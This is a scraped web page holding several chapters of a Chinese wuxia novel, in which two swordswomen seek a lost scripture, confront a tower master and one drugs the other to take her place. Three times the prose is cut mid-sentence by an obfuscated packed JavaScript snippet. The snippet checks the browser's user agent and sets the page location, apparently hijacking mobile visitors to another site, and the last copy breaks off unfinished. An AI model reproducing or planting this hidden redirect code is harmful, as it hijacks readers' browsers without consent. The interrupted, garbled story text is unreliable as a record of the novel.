连南曦从头到尾都稀里糊涂的,还想再问,但比丘对她和陆玉桐分别又行一礼,说句“阿弥陀佛”,便走开了。 “你听明白了吗?”她疑惑地问陆玉桐。 “什么地方是众生之中、世相之外?”陆玉桐反问连南曦。 “众生所求,又求而不得之处吧。不得,是否就没有相?”连南曦不确定地答道。 陆玉桐思考了一下,惊喜地说:“你果真有佛缘!这庙里承载了众生所求、又给不了众生所求的地方,不正是香客许愿后插香的香炉?” 连南曦想想,眼睛也亮了起来。 二人走到香炉前,看着香客们不断地将三支清香插入其中,香炉底部积了厚厚一层香灰。 连南曦待香客们走远一些,找了个空当,用三成内力,对着香灰挥出一掌。 掌风席卷着香灰散开去,露出一角金光。陆玉桐拿剑鞘伸进香灰中,将那东西挑在地上。 那东西薄薄一片,和普通信封差不多大小。二人凑近去看,竟是纯金制成,朝上的一面没有字。 陆玉桐左手本就有伤,自是不敢直接去提,此地香客众多,亦不好拔剑去拨弄。连南曦年少心急,直接上去用手一翻,被烫得呲牙。 这东西另一面刻着三个大字——“夜神仙”。 原来这五楼的请柬是纯金制成的,怪不得乌鸢说其特殊,不会直接送到客栈房间。出家人戒贪嗔痴,将这么一片黄金藏于寺中,再合适不过。 待请柬稍凉一点,连南曦将其拿起收好,准备离开。 “刚刚法师让你进殿拜过再走,”陆玉桐提醒她,“去拜拜吧,难得来一次。” 连南曦犹豫了一下,“好吧。” 她走进大雄宝殿,回头见陆玉桐并未跟来,问道:“你不进来吗?” 陆玉桐摇摇头,“我身上有杀孽,不进了吧。” “你不是不信吗?”连南曦又问。 “若我信,则不敢进殿;若我不信,又何必进殿?”陆玉桐笑了笑,“你快去吧。” 连南曦在佛前跪下,开始在心中虔诚地祈祷:“希望我能顺利完成师命,早日找到《十方经》; “希望师傅能救到想救的人; “希望我找到亲人、知道自己是从哪里来的。” 她觉得自己许了三个愿望已经很多了,但她顿了顿,没忍住,许了第四个。 “希望您宽恕陆玉桐的杀孽吧。” 她叩拜完三下后起身,转头就要跨出殿门。门槛很高,她得低下头看。 再抬头时,她看见陆玉桐站在络绎的香客中,被一片夕阳镀了金身。 兴国寺的暮鼓声在此时响了起来。 10. 初入五楼 暮鼓声是山寺催人归家、城门快要关闭的标志。 连南曦看见陆玉桐站在夕阳下,陆玉桐也望着连南曦从大殿中走出来。 殿内的鎏金佛像很高、很大,垂下的眉眼被金色华盖的飘带遮挡。陆玉桐只看见佛像在连南曦身后微笑,和那比丘的微笑有些许相似。 这回她反而有些看愣了。 连南曦走到陆玉桐身边,拽拽她的袖子:“我们回吧。” 陆玉桐反应过来,笑了笑说:“连南曦,你很虔诚。” 二人跟着香客们一起下山,回到城里。 济南城中已是华灯初上,家家户户又冒出炊烟来,显得整座城颇有某种生命力——安稳、热闹、生生不息。 连南曦走着走着,突然一个东西滚到她脚边。她停下一看,是一个缺了口的陶碗。 “求求大人给点钱吧!”路边窜出一个六七岁的小姑娘,脸上的泪痕混了尘土,花成了一道一道的;身上的衣服破破烂烂、也不合身,裤脚垂在地上,都蹭脏了。 深秋傍晚起了风,小姑娘冻得瑟瑟发抖。连南曦解开自己的青色袍子,披在小姑娘身上,蹲下来问道:“这是怎么了?你家大人呢?” “我家遭了山贼,家里财物都被抢光了,父母也都被害死了,”小姑娘“扑通”一下跪在连南曦脚边,“只剩我一个人了,求大人帮帮我吧!” “小叫花,你先起来。”陆玉桐伸手把小姑娘拉起来,严肃地问道,“你记得那伙山贼长什么样吗?” “我记得,但我没本事找他们,我连饭都吃不上……”小姑娘说着说着又要哭。 连南曦连忙从自己的蓝色荷包里掏出些铜板,捡起一旁的陶碗,放入铜板一起递给小姑娘,关切地说:“你先拿着,买东西吃。” 陆玉桐也掏出些钱放进她的碗里,神色却不似连南曦那般柔软。 “谢谢二位大人,二位可真是大好人呐!”小姑娘激动地又要对二人跪下。 “不要动不动就跪别人。”陆玉桐一把拉住小姑娘,冷声说道,“我给你钱,不是让你学会跪别人,而是让你快些长大,好自己去找那伙山贼报仇。” 连南曦蹲着用手蹭小姑娘的眼泪,越蹭越花。她听陆玉桐语气有点凶,抬头皱着眉道:“人家还是个小孩儿,你别这么说话。” “小孩儿怎么了?”陆玉桐说,“小孩儿就理所应当仰人鼻息了吗?没人能靠求人而活下去。 “况且,父母被杀之仇必须要报,这是人之常情。” “什么人之常情,小孩儿就是小孩儿,小孩儿应该开开心心长大,不应该记着仇恨长大!”连南曦有些恼了,她觉得陆玉桐过于较真,很是冷酷。 “不靠求人活着,难道要靠恨人活着吗?”她忍不住再呛了一句。 她转头对小姑娘安慰道:“这位姐姐今日累了,说话不好听,你不要怕。” 小姑娘点点头,怯生生地伸手抓住连南曦左手的衣袖。 “算了。”陆玉桐也有些不快。 但她看连南曦毫无防备地任由小姑娘抓着,出于对陌生人的警觉,想去挪开那小姑娘的手。 陆玉桐刚弯下腰,就见小姑娘的一双鞋露出点鞋尖儿来。那鞋尖儿很是干净,干净得与她身上的破衣、脸上的灰尘格格不入。 一双鞋最容易脏的地方,不该是鞋尖儿才对吗? 陆玉桐已然心中生疑,但连南曦并未察觉这般细节,她眼里只有这可怜的小姑娘。 此时,她余光见陆玉桐要去抓那小姑娘的手腕,刚要制止,就听耳后“嗖”的一声,一叶寒光闪过,一把短小的飞刀暗器插在她们面前的柱子上。 她的衣袖被小姑娘拽住,躲闪不及,登时感到左肩一凉。她扭头一看,灰色布衣被划开一道大口,露出左肩的肌肤,但并未伤及。 陆玉桐抓住那小姑娘,厉色问道:“谁派你来的?” “二位好心肠的大人,”那小姑娘一改怯生生的表情,阴森森地说,“我的仇,夜神仙会替我报。” 连南曦在她们对话之间望向身后的人群,试图寻找使飞刀暗器的人,但熙熙攘攘中没有异常。 陆玉桐回头寻找亦是毫无线索。小姑娘趁她们寻找飞刀人的间隙,用力挣脱陆玉桐的手,一溜烟逃走了,只剩连南曦的青色袍子掉落在地。 “好一个夜神仙,”连南曦咬着牙说,“连小孩儿都要收来利用!” 夜凉如水,她怀中的黄金请柬明明已经不烫了,此刻却仿佛怀揣一团滚烫的火,灼得她怒气横生。 陆玉桐捡起地上的袍子,先给连南曦披上,遮挡她空露的左肩。 就在这一瞬,陆玉桐看到连南曦左肩有一处半寸大小、五瓣梅花形状的红色胎记。 连南曦见她手上一顿,问道:“怎么了?” “你左肩上有一处梅花胎记,你自己知道吗?”陆玉桐问。 “当然知道。”眼下连南曦不太想讨论这事,她还沉浸在一个小娃儿被夜神仙以报仇为诱饵、抓去为虎作伥的不忿之中。 陆玉桐若有所思,没有再问。 连南曦上前一步,从柱子上拔下那把飞刀,递给陆玉桐辨认。 那飞刀暗器形似柳叶,两头尖尖、薄薄一片,中间有刀脊、两边开刃,可以轻松扎入目标。 “像是传说中的飞柳刃,”陆玉桐仔细观察后说道,“据说是三十年前一个名叫休断水的人所发明。因其不收徒,飞柳刃在江湖上已失传多年,想不到在夜神仙之中竟有人会使。” 连南曦撇撇嘴,“不知又是我们见过的哪位神仙。” 陆玉桐将这飞柳刃递回给连南曦,连南曦示意她自己收着。 她们继续向夜神仙行进。二人被刚才突如其来的暗器攻击拉回了紧张的氛围,加之此前和小姑娘对话时,言语间发生了碰撞,一路沉默。 “在你看来,我是不是很傻?”连南曦开口,打破僵局,“明明乌娘子让我留意所有与我搭话的人,我还轻信那小姑娘。” “不傻,你只是好心。”陆玉桐顺着她给的台阶下。 “她和师傅收留我的时候差不多大。”连南曦算是体会到了,为什么陆玉桐会因为她像以前的自己而相信她。 “让她开开心心长大,会比记住仇人更好吗?”陆玉桐转头看着她,问道。 “我不知道,但我不想她的人生变成只有报仇,也不想她变成一个为报仇而活的人。”连南曦心情低落地说。 但她很快意识到自己这话有歧义,赶忙补上一句:“我、我不是说这样就是错的……我是说,每个人都有自己的事要做,不是所有人在意的事都必须一样。” 陆玉桐沉默了一下,问:“如果你的父母也有一个大仇需要你报,你会怎么做?” 连南曦想了想,说:“等知道我父母是谁再说吧。也许那个仇真的很大,大到我不得不报。” 她们从南门回的城,一路往城西去,很快就走到了夜神仙门口。 请柬上没有写时间,但为避免夜长梦多,她们今晚来得很早。 夜没有那么深,来往的客人也还没有那么醉,这让门口没有往常那么多聚集的人。 连南曦一眼便看见门口有个熟悉的身影,是水色。 “当日的李公子,原是连少侠。”水色已然知道了连南曦的身份,笑着打招呼。 她转头又对着陆玉桐,“我不该再叫你梧桐,应该称呼你陆少侠。” 陆玉桐不置可否。反正都要上五楼了,身份早就被夜神仙摸得一清二楚,也没什么可瞒着的了。 “还请二位将请柬予小女子一看。”水色一如连南曦初见她时那般从容,发髻上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055120|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兰花似是换了一朵更新鲜的。 连南曦递出黄金请柬,对方细细查看起来。她不禁心中暗叹,果然黄金请柬相较于人皮请柬来说,只能算是通货。 水色检查完毕,点了点头,说:“二位请随我来。” 连南曦和陆玉桐一前一后,跟着水色进入夜神仙。这回水色没有带她们像往常一样一层层楼梯走上去,而是贴着一楼的墙面,绕过小桥流水的造景,去到距离大门最远的一处壁画下。 壁画呈现出许多簪花娘子游园的景象,花卉与美人全都栩栩如生,甚至不仅采用丹青描绘,有几朵花更是做成了浮雕的样式,画中的娘子们似是穿梭在花丛中一般。 连南曦此前从未注意到一楼有这么一幅壁画,她想可能是因为太过逼真了。 水色抬手,在一簇浮雕兰花上往里推了一下,只见壁画在此处凹陷进去,形成一扇木门。那木门随即向上移动,缩进壁画后方,出现一个可以容纳一人通过的入口。 水色迈步进去,连南曦和陆玉桐对视一眼,紧跟其后。 这壁画后的空间大得令人咋舌,简直有外面一楼面积的一半大;而且上下贯通,这暗道也没有窗户能透进外面的光,全靠灯火只能照亮底部。 连南曦抬头,由一楼向上望去,只有一团黑暗,幽远而深邃。 她想起第一天到济南、追陆玉桐到夜神仙,当时就觉得这楼很大,进来后空间开阔,也不曾起疑还有隐藏之处。现在看来,确实加上这部分暗道,才和外部看起来差不多。 连南曦望着望着,似是望出了错觉,看见一块天花木板正从黑暗中渐渐浮出、向着她坠下来般,离她越来越近。 随即她发现,确实不是错觉。那木板被几根粗麻绳吊着,从上方直直放下来,停在离地一尺之处。 水色率先站上木板,陆玉桐也跟着上去。 连南曦这才发现,原来这木板是个能够运人的垂梯。她看她们都上去了,便也没有犹豫。 木板缓缓升起,离开底部的灯火愈来愈远。 连南曦以为即将进入一片黑暗,想不到每层的灯火竟随着木板上升而一圈圈亮起。整个过程好不梦幻,足以让人再次生出错觉,仿佛自己确实是夜神仙请来的贵客。 她们升到五楼时,连南曦看到一侧有个木质机关,由支架、卷筒、曲柄组成,像是把山村里打井水的机关放大了几倍。几名膀大腰圆的杂役共同摇动那曲柄,将粗绳卷上来,木板也就一并升起了。 她和陆玉桐跟着水色,再从上木板的那侧下去,踏上五楼的地板。水色伸手在墙面上摸索了几下,抓住了什么东西一拧,那墙面便从中间分开左右两块,分别向两边移开,露出了五楼的景象。 正如乌鸢所说,扑面而来便是浓重的龙涎香味道。 五楼一眼望去十分空旷,地板应是用楠木所铺设,顶上垂下许多一尺半宽的帷幔,长长短短,飘荡其中。 二人随着水色进去,暗门在她们身后缓缓合上。连南曦回头,那门不同于楼下有一墙壁画装饰,反而严丝合缝地融入墙体中,合上后竟看不出刚才是从何处打开的。 这无风的环境里龙涎香味道太重,她皱皱鼻子,又用手扇了扇。 水色带着她们在帷幔中穿梭,然后来到一处巨大的、完整的雪白帷幔前。 “楼主,那二人我带来了。”水色毕恭毕敬向帷幔后的人作揖。 连南曦想要透过这巨大的帷幔看看楼主的身形,但帷幔似乎不止一层,她怎么也看不清。 只听见帷幔后传出一个苍老的声音,对水色说道:“你先退下吧。” 屋内的帷幔又飘荡起来。那声音果真听不出男女。 此刻,连南曦除了好奇楼主本人,她还有一处想不明白。 明明屋内无风,为何帷幔会一直飘荡呢? 11. 深不可测 水色听楼主所言,转身走到入口的墙边。墙上镶着一个黄铜烛台,此刻正插着一支燃烧烛火。 她抓住烛台,向右一拧,两扇门再次移开,自己退到了外面。 “你们谁先问?”楼主的声音又怪又难听,喉咙嘶哑如断弦的琴,甚是可怖。 “我先吧,”陆玉桐率先开口,“楼主可知十方……” “等等!”连南曦打断她,“这件事谁问都一样,让我来。你问自己的事就好。” 两个人轮流问,也就是可以解答两个问题。连南曦想,虽然陆玉桐也在找《十方经》,但她还有为陆家复仇一事,这事只能她来问。 虽然自己也有关于身世的谜团,但连南曦对此并没有那么迫切的好奇心。 陆玉桐还想说什么,但见连南曦神色笃定,便点了点头。 连南曦十分直接地开口:“楼主,《十方经》在哪里?” “《十方经》在覆春盟手上,”楼主回答,“你应当前往蜀中寻找。” “什么、什么盟?在蜀中哪里?”连南曦没明白,追问道。 那楼主却说:“每人只能问我一个问题。” 连南曦既意外又无语。她和陆玉桐这么千辛万苦地来到这里,就被这么一句话打发了? 陆玉桐给她使了一个眼色,意思让她暂且按捺情绪,自己可以晚点解释给她。 但连南曦是忍不住的性子,还是追上一句:“你这么打发我,又不露面,我怎么知道你所言是真是假?” 楼主哼了一声,不屑地说道:“你可以不信,但江湖上绝没有第二个人会告诉你这些。” 连南曦想了想,确实目前也只有夜神仙掌握着《十方经》的线索。即使她不信,也只能按照楼主说的先去找、去求证。 “那你要问什么?”楼主解答完连南曦的问题,对陆玉桐说。 陆玉桐看了眼帷幔,又看了看身边的连南曦。《十方经》的消息她已然是得到了,但当着连南曦的面问自己的事,又有些踌躇。 连南曦看出她的纠结,悄声说道:“若你有所不便,我可以出去等你。” 陆玉桐深吸一口气,又长长呼出。她摇摇头,最终没有让连南曦回避。 她对着雪白的帷幔说:“我想问,到底是谁害我陆家满门?” “前朝镇西大将军、本朝第一武将,晋国公戚武。”楼主从嘶哑的喉咙里吐出答案。 接着又补充道:“他伪造证据,坐实前宰相陆城及其长子陆续贪污军饷,这就是靖帝灭陆的直接缘由。你说,算不算他害的?” “算,”陆玉桐脸色阴沉着回话,“但我怎么知道你有没有骗我?” 楼主连续两次受到质疑,也没有很恼,只说:“你大可自己去打听,若还有人愿意重提陆氏旧案、且愿意告诉你的话。” 陆玉桐无法反驳。她但凡能在江湖中打听到,也不至于来夜神仙问了。 连南曦见她握紧了拳头,左手又隐约渗出些血色来。 她想,原来陆玉桐此前并不知道自己的仇人是谁。 随即她心中生出些后悔来。早知道就让陆玉桐问《十方经》的事了,现在知道了自己的仇人是朝廷如此重臣,这仇要怎么报? 就算以命相搏,凭陆玉桐一人,也无异于螳臂挡车。 连南曦默默拉住陆玉桐的左手,一点点将她紧握的拳头松开。 “好了,换我来问。”楼主非男非女的声音再次响起。 “你们谁的身上有状似五瓣梅花、半寸见方的红色胎记?” 连南曦惊讶了一下,这楼主怎会知道如此私密的事? 想起乌鸢白天告诫过她们,楼主提问一定要如实回答,她只能诚实应道:“我有。” 陡然间,那些垂着的帷幔更大幅度地飘荡起来,连南曦甚至感到平白腾起一阵风,卷着浓郁的龙涎香气刮过屋堂。 “真的是你?”楼主似乎很是激动,本就嘶哑的声音又抬高了些。 连南曦打了个寒颤,不敢贸然接话。 她猛然想到在四楼的那场赌局,内力强者便如劲风。 此刻她才明白,原来这五楼确实无风,一直都是楼主的内力在其中流动! 这楼主武功简直深不可测,平常仅是吐息就能让整个五楼的帷幔荡开;现在又仅因其情绪变化,凭空席卷一阵寒意。 连南曦年纪尚轻,面对如此这般人物,难免心生惧意,不由地退开一步。 与此同时,她的手被陆玉桐回握住。 她的手掌又感到了温热潮湿,但这次是陆玉桐左手伤口里渗出的血。 “别怕。”陆玉桐对她说,如同在三楼共同面对幻术时一样。 那楼主大笑起来,内力涌动得愈发剧烈,层层帷幔漫卷,发出“扑啦啦”的声音。 就在连南曦和陆玉桐做好即将开战的准备时,这阵内力突然缓和下来。 帷幔后的人终于停住了笑,说道:“连南曦,我们还会再见面的。” 连南曦还未作反应,五楼的大门突然被打开,水色走了进来。 她向那巨大的帷幔作了一揖,“楼主。” “水色,你来处理吧,”楼主听起来声音又苍老了几分,“咱家这身子,今日乏得很。” “明白,楼主。” 水色得了指令,转身对连陆二人说:“二位,请随小女子离开吧。” 连南曦心有不甘地说:“这就结束了吗?” 水色点点头,“结束了,连少侠。” 这夜神仙是骗子吧!连南曦皱着眉,双眼充满了疑惑,望向陆玉桐。 陆玉桐示意先跟着水色出去再说。她只得乖乖跟着二人走了出去。 像来时一样,三人站上那垂梯的木板,缓缓降到一楼。 水色在一楼的墙面上又按了不知哪里,那扇壁画木门向后移来。她退开一步,木门向上缩去,重新露出那容纳一人的缝隙。 外面一楼大堂中已是人来人往、热闹非凡。穿过醉酒欢笑的人群,水色将她们送到夜神仙门口。 五楼浓郁的龙涎香沾染了她们衣物,在垂梯上时还有些熏人。现在被大堂的酒气一冲,已经闻不太见了。 “二位一路走来辛苦了,今天终于能回客栈好好休息了。”水色微笑着说。 “刚才楼主跟我说还会见面的,是什么意思?”连南曦问道。 “一切听从楼主安排就好。”水色又行一礼,然后自顾自转身回了夜神仙。 白天还是晴好,夜里却起了雾。 连南曦和陆玉桐走在入夜的街上,她们轻功底子过硬,能把脚步放得很轻。 “好生奇怪。”连南曦感觉今天和前几次来夜神仙都不一样,她问陆玉桐,“你说,那楼主是什么意思?” 她原以为上五楼又会有一场大战,没成想真就是问了两个问题、说了几句话。 “我觉得这事还没有完,”陆玉桐思考了一下,继续说,“今晚我跟你回四方客栈看看,说不定会有别的事发生。” 这时,连南曦想起自己的疑惑尚未明朗,便问道:“对了,楼主说《十方经》在什么盟手里,那是什么?” “覆春盟,覆灭的覆、春天的春,是一个以推翻大靖、恢复前康为目的的组织。”陆玉桐解释道。 “反靖复康?” “没错,”陆玉桐肯定道,“且是江湖上此类组织中最为庞大的一个。” 连南曦曾听师傅讲过,江湖上有一群人对新建立的大靖并不满意,自发创立了各种大大小小的组织,嚷着要“反靖复康”。朝廷时不时就清剿一次,但过阵子又会冒出来。 她不理解那些人。大靖都已建朝二十二年了,还有什么必要留恋前朝呢?如果前朝真的很好,那又怎会被新朝取代? “那楼主说要去蜀中,是这组织的总部在蜀中吗?”连南曦又问。 “覆春盟的总部无人知是何处,”陆玉桐说,“他们为了不被朝廷剿灭,定是不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055121|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴露的。” 陆玉桐看连南曦还是迷迷糊糊的,便为她多讲了一些背景。 “前康覆灭后,剩下一些皇室遗孤和朝中忠臣向西南逃亡,潜入蜀地,并建立了一个小政权,号称''西康''; “西康一直存活至大靖十二年方被剿灭。此后,覆春盟便横空出世。江湖传闻正是西康残部所建; “如果《十方经》确实在覆春盟手中,那么也确需去一趟蜀中西康旧地。” 连南曦摇摇头,“我从未听闻过西康的事,师傅没讲过。” 陆玉桐望着连南曦,欲言又止,只说了一句:“以后你自会了解全部的。” 二人在街上默然走着。 连南曦感到身旁的陆玉桐有些心事,她想,许是因为今日得知了仇人姓名的缘故吧。 直到陆玉桐开口问她:“你为何替我问《十方经》的去向,却不问自己的身世?” 她才知道,原来陆玉桐一路的困惑是这个。 “因为你要报仇,这件事对你来说比性命还重要;而那些身世于我,不过是有则有、无则无罢了。”连南曦说道。 “你不想知道自己父母是谁、发生了什么事吗?” “如果他们真的有什么大仇需要我报,”她深呼吸着夜里湿漉漉的空气,说道,“那我宁可不知道,或晚些再知道。” “为什么?” 连南曦感到陆玉桐盯着自己,目光灼人。 她诚恳答道:“因为我不想背债,无论是别人欠我、还是我欠别人,我都不想; “仇恨也是一种债。师傅曾同我说,人一旦背上了债,就会被债所裹挟,愈发变得不像自己; “我不想变成那样。或说,尽量晚些变成那样吧。” 连南曦说完,感到陆玉桐移开了目光,似是又陷入了某种惆怅。 她不懂这人到底心中有多少个结,只能自己抬头望望天。 夜空蒙上了一层厚厚的云,应是明日有雨。 连南曦带陆玉桐回到四方客栈,招呼夜班的小二往厢房中送点夜宵。 经过一天的奔波,实在是腰腿酸痛。她们回到房中,径直在屋内的圆凳上坐下,累得都不太想说话。 小二敲门,待连南曦应声后,端着几个馒头和一碟咸菜进来,放在桌上。 连南曦想起自己的衣服被划破了,便又向小二要了些针线与补丁。 在补衣服的工具送来前,她抓起一个馒头就啃了起来。 陆玉桐看着她吃饭,越看越认真,忍不住说了一句:“你吃饭真香,光是这样看着,我就感到心中畅快了不少。” 连南曦忙着填肚子,没空搭理,只抬眼瞟了她一下,“你也饿一晚上了,吃点儿吧。” 待她们吃得差不多,针线也送来了。连南曦开始补衣服上那个被飞柳刃划开的口子。 那口子有点大,她低头补了好半天,期间只听陆玉桐先是在房中走来走去,接着又出门去了。 连南曦补完衣服抬头,见陆玉桐竟泡了壶茶回来。 “这么晚还泡茶?”她疑惑地看着陆玉桐。 “疲乏的时候就想喝口热茶。”陆玉桐漫不经心地给连南曦倒上一杯。 连南曦虽然学过针线活,但实在不擅长。补衣服补了半天,针脚歪歪扭扭的,自己却已是眼花耳鸣、口干舌燥。 她想也没想就接过陆玉桐递来的茶杯,一饮而尽。 茶水入口,凛冽的薄荷味冲上她的鼻尖,甜腻的香草味从喉咙处回甘而来。 连南曦一下子跳起来,大惊失色,质问陆玉桐:“为什么又给我下曼陀罗草?” 陆玉桐看着她,眼色晦暗,“只是想让你好好睡一觉。醒来记得去蜀中,继续找那《十方经》。” “那你呢?” 连南曦还想问些什么,却挡不住这曼陀罗草的药效。 不知陆玉桐究竟放了多少,她只感到头重脚轻,话还没说完就眼睛一闭,彻底昏睡过去。 12. 李代桃僵 陆玉桐其人,看似灵活,实则犟得要命。 师傅对她很是关爱,她并不是一个在仇恨中长大的人。 但不知哪天起,她总梦见八岁前还在陆家的日子。祖父祖母的笑容、父亲的疼爱,都在她梦里挥之不去,从幼稚的回忆逐渐变为带泪的梦魇。 她越长大越不甘心。师傅不愿同她讲那些前尘往事,不想她陷于其中,但她偏要为自己、为陆家讨个公道。 后来师傅恼了,跟她说,这世间哪有什么公道?就算你去讨,家人也不会再活过来了,还不如就此放过自己。 陆玉桐被这话一激,反而下了决心,发誓定要报这家仇。 年少的她将此立为人生目标,毅然踏入江湖中去。她要去寻那罪魁祸首,寻那因果报应。 遇到连南曦后,她总是想起以前的自己。 初入世时,她也是一腔赤诚。就说乌鸢那件事,她想都没想就掺和进去,都不想日后会不会遭人报复。 但江湖是很摧人的。 陆玉桐从张扬莽撞的少年变成平敛锋芒的游侠,也不过三年时间。 当她听见连南曦说想晚一点知道、宁可不知道的时候,顿然理解了师傅不告诉她那些事的良苦用心。 飞柳刃划过的速度很快,连南曦肩上的梅花很红。陆玉桐看到那梅花胎记时,心下便已了然。 这是前康皇室李氏正统的标志。 其实不是胎记,而是皇子皇女出生后被刺上的印记。那抹红色是秘传的颜料配方,除了皇室以外,没有人知道怎么调制。 按连南曦的年龄来算,她应该是西康彻底覆灭前、在蜀中出生的最后一位李氏遗孤。 陆玉桐暗自震惊,她知道绝不能声张。 这梅花背后,是两朝更迭、一场灾难,是一把燃烧长达二十余年的野火。 若连南曦的身份暴露,定会被迫卷入这场旷世持久的斗争,绞得骨头渣都不剩。 夜里,四方客栈。连南曦一门心思补着衣服,陆玉桐在房间里细细查看。 地上果真有张黑色请柬,一时被桌脚的阴影掩藏住了。她捡起一看,依旧是人皮材质,只不过这次请柬上多了一串白色小楷。 “明日午时,请连少侠一人赴五楼一会。” 陆玉桐更加确定,楼主这些年四处寻找特定年龄的孩子、引诱他们进夜神仙来,就是为了找这前朝遗孤。夜神仙和覆春盟,定有什么不为人知的关系。 她不想看到连南曦被那些嚷嚷着“反靖复康”的人抓去献祭、被打扮成一个无意义的符号公主。 这样的结局只会是等来朝廷清剿,被脏兮兮地丢进黄土之中。 她决定假扮成连南曦去赴会。 不过,陆玉桐也不是没有私心。 她想向那戚武复仇,若能利用覆春盟的力量,胜算会更大一些。 不如就去碰碰运气。 陆玉桐决定了的事,九头牛都拉不回来。 她担心连南曦会看到请柬,便趁连南曦与手中针线缠斗时,出门找小二要了热水,又要了些朱砂颜料。 然后她拿出身上尚未使用的曼陀罗草,抓了一把在手里,用内力一催,叶片即刻化作了浅绿色的粉末。 陆玉桐取少量粉末加水冲开。回屋时,连南曦一脸疲惫地捏着针线,拿过她递来的茶,完全没有防备,直接就喝了下去。 她将昏睡的连南曦扶上床榻,这药效足够连南曦睡一天一夜了。 长夜漫漫,陆玉桐吹灭烛火,自己也趴在桌上睡了会儿。 待她醒来时,刚到巳时。 雨水淅淅沥沥落下,打在屋檐的瓦片上,声声催人。 陆玉桐用朱砂颜料调和剩下的浅绿色曼陀罗粉末,直到接近连南曦身上梅花的红色,再仿照五瓣形制,画在自己左肩。 她又拿起连南曦昨日补的那件衣服换上,扭头看见左肩的针脚,着实是不太能见人。 她笑了笑,这和第一日自己帮忙追回的那个蓝色荷包一样潦草。 陆玉桐望着床榻上瘦瘦长长的人,回想这几日的相处,竟生出些离愁别绪来。 经此一别,可能不会再见了吧。 人很难遇上一个能信任到把后背交出去的朋友。她其实也不愿利用连南曦的这份信任,但没有办法。 江湖不但摧人,还总让人没得选。 连南曦说每个人都有自己的事要做,她是认同的。 所以她不想连南曦才十六岁就陷入到一生的被动中去。 陆玉桐披上连南曦的青色袍子、戴上连南曦的兜帽,将霜鹤用布裹严实了背在身上,下了楼。 楼下那掌柜的,乌鸢,正在柜台后面看账。听她下楼,抬眼一瞧,笑着问道:“连少侠这是去赴约?” 这一问,陆玉桐明白了那请柬应是乌鸢放的。她没有回话,只点点头,将兜帽再拉低了些,走出客栈。 即使是阴雨天,天光之下妖魔鬼怪也无所遁形。可她是假的,她正要走到黑暗中去。 白天的夜神仙是灰扑扑一座巨楼,在雨中显得格外阴森。陆玉桐见一女子站在门口等她,是水色。 “连少侠,你来了,”水色笑道,“请将请柬交予我吧。” 陆玉桐没有出声,将黑色请柬递给她。她一摸便知是真的,于是带陆玉桐进门。 夜神仙还未到营业时间,因其空间大,更显楼中冷清。 水色按照之前的路径带她上了五楼,送她进去后,对那雪白帷幔行了礼,随即转身退了出去。 现在五楼只剩陆玉桐和楼主两个人了。 “连南曦,你来了。”楼主苍老的声音响起,不过听起来好像没有昨日那样嘶哑。 陆玉桐没有回话,静静等着楼主下一步动作。 突然,她感到一阵内力席卷整个五楼,雪白帷幔被直接掀起。霎时间,一个人影从帷幔后直接飞出。 一张布满褶皱与斑点、头发全白、无须无眉的怪脸冲到她跟前,给陆玉桐惊得浑身一颤。 这楼主哪里是人的样貌,简直是个老怪物! 那老怪物几乎是贴脸盯着她,吐息间裹着浓重的血腥气,与这五楼龙涎香的味道对撞在一起,熏得她头晕。 它伸出手指在她左肩一划,那刚被补好的口子便又裂开,露出她提前画好的梅花。只看了一眼,老怪物就发出一声怪吼,一把将陆玉桐拎起来扔开。 陆玉桐重重摔在地上,感觉浑身骨头要散架了一般。 她运气不好。 她无奈自嘲,到底还是太自负了,如此拙劣的伪装怎么可能骗过夜神仙楼主? “陆玉桐,你竟敢骗我!”楼主的内力因愤怒而暴涨,登时五楼狂风大作,帷幔也像疯了一样“扑啦啦”抖动起来。 陆玉桐忍痛站起来,强压着恐惧,故作镇定地说道:“你不就是想要一个李康遗孤,是真是假又有什么所谓?” “骗我的人都该死!”楼主愤怒地吼着。 陆玉桐闻见那血腥气从楼主体内散发出来,随内力起伏或隐或显。还未待她细想,只见那老怪物的手爪在虚空中用力一握,她便感到自己动弹不得。 陆玉桐在江湖中还未碰到过如此强悍的内功,竟已强到能隔空限制他人行动。 她沉心运气,却发现根本无法挣脱。那老怪物移到她身前,手上不知从何处拿来一盅液体,是三楼那浅金色的快活酒。 “你骗我,我也骗你,”楼主怪笑起来,“你就一辈子待在这幻术中,直到杀尽身边所有人吧!” 陆玉桐还想挣扎,楼主一双手爪钳住她下颌,硬将那快活酒灌了进去。 帷幔飘荡,有一条盖住了她的眼睛。她感到身上一下子松快了,龙涎香的味道似乎也散开去了。 她拂开那条轻薄的帷幔,眼前哪有什么五楼、什么楼主? 面前只有一个穿了僧袍的年轻人。陆玉桐定睛一看,竟是兴国寺与她辩经的比丘。 “施主,又见面了。”那比丘低垂眉眼,面带微笑。 “法师,这是怎么回事?”陆玉桐这下搞不懂了。 “施主似是得了解法。” “什么解法?” “解一切困惑之法。” “怎么解?” “灭之。” “灭之?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 